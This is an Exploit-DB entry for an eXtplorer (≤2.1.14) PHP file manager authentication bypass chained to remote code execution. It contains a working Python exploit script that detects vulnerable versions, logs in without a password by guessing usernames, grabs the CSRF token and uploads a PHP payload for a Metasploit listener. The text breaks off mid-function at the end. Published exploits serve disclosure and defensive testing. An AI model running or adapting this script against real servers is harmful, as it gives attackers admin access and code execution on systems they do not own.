Exploit-DB #51067
Description: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-27
Author: ErPaciocco

Exploit:
# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)
# Exploit Author: ErPaciocco
# Author Website: https://erpaciocco.github.io
# Vendor Homepage: https://extplorer.net/
#
#   Vendor:
#   ==============
#   extplorer.net
#
#   Product:
#   ==================
#   eXtplorer <= v2.1.14
#
#   eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
#   directories, edit, copy, move, delete,
#   search, upload and download files, create & extract archives, create new
#   files and directories, change file
#   permissions (chmod) and more. It is often used as FTP extension for popular
#   applications like Joomla.
#
#   Vulnerability Type:
#   ======================
#   Authentication Bypass (& Remote Command Execution)
#
#
#   Vulnerability Details:
#   =====================
#
#   eXtplorer authentication mechanism allows an attacker
#   to login into the Admin Panel without knowing the password
#   of the victim, but only its username. This vector is exploited
#   by not supplying password in POST request.
#
#
#   Tested on Windows
#   
#
#   Reproduction steps:
#   ==================
#
#   1) Navigate to Login Panel
#   2) Intercept authentication POST request to /index.php
#   3) Remove 'password' field
#   4) Send it and enjoy!
#
#
#   Exploit code(s):
#   ===============
#
#   Run below PY script from CLI...
#
#   [eXtplorer_auth_bypass.py]
#

#   Proof Of Concept

try:
    import requests
except:
    print(f"ERROR: RUN: pip install requests")
    exit()
import sys
import time
import urllib.parse
import re
import random
import string
import socket
import time
import base64

TARGET = None
WORDLIST = None

_BUILTIN_WL = [
    'root',
    'admin',
    'test',
    'guest',
    'info',
    'adm',
    'user',
    'administrator'
    ]

_HOST = None
_PATH = None
_SESSION = None
_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',
             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
             'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3',
             'Accept-Encoding': 'gzip, deflate, br',
             'Connection': 'keep-alive' }

def detect():
        global _HOST
        global _PATH
        global _SESSION
        global _HEADERS
        
        _HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2]
        _PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/')
        

        
        _SESSION = requests.Session()

        raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False)

        if raw.status_code == 200:
            ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE)
            
            if int(ver[0][2]) < 15:
                return True

        return False
        

def auth_bypass():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS

    global WORDLIST
    global _BUILTIN_WL
    
    _HEADERS['X-Requested-With'] = 'XMLHttpRequest'
    
    params = {'option': 'com_extplorer',
              'action': 'login',
              'type': 'extplorer',
              'username': 'admin',
              'lang':'english'}

    if WORDLIST != None:
        if WORDLIST == _BUILTIN_WL:
            info(f"Attempting to guess an username from builtin wordlist")
            wl = _BUILTIN_WL
        else:
            info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}")
            with open(WORDLIST[0], "r") as f:
                wl = f.read().split('\n')
        for user in wl:
            params = {'option': 'com_extplorer',
                'action': 'login',
                'type': 'extplorer',
                'username': user,
                'lang':'english'}

            info(f"Trying with {user}")
                    
            res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
            if "successful" in res.text:
                return (user)
    else:
        res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)

    if "successful" in res.text:
        return ('admin')

    return False

def rce():
    global _HOST
    global _PATH
    global _SESSION
    global _HEADERS
    global _PAYLOAD
    
    tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js")
    token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0]

    info(f"CSRF Token obtained: {token}")

    payload = editPayload()

    info(f"Payload edited to fit local parameters")


    params = {'option': 'com_extplorer',
              'action': 'upload',
              'dir': f"./{_PATH}",
              'requestType': 'xmlhttprequest',
              'confirm':'true',
              'token': token}
    name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
    files = {'userfile[0]':(f"{name}.php", payload)}
    
    req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False)

    if "successful" in req.text:
        info(f"File {name}.php uploaded in root dir")
        info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php")

def attack():
    if not TARGET:
        error("TARGET needed")

    if TARGET:
        if not detect():
            error("eXtplorer vulnerable instance not found!")
            exit(1)
        else:
            info("eXtplorer endpoint is vulnerable!")
            username = auth_bypass()
            if username:
                info("Auth bypassed!")
                rce()
            else:
                error("Username 'admin' not found")

def error(message):
    prin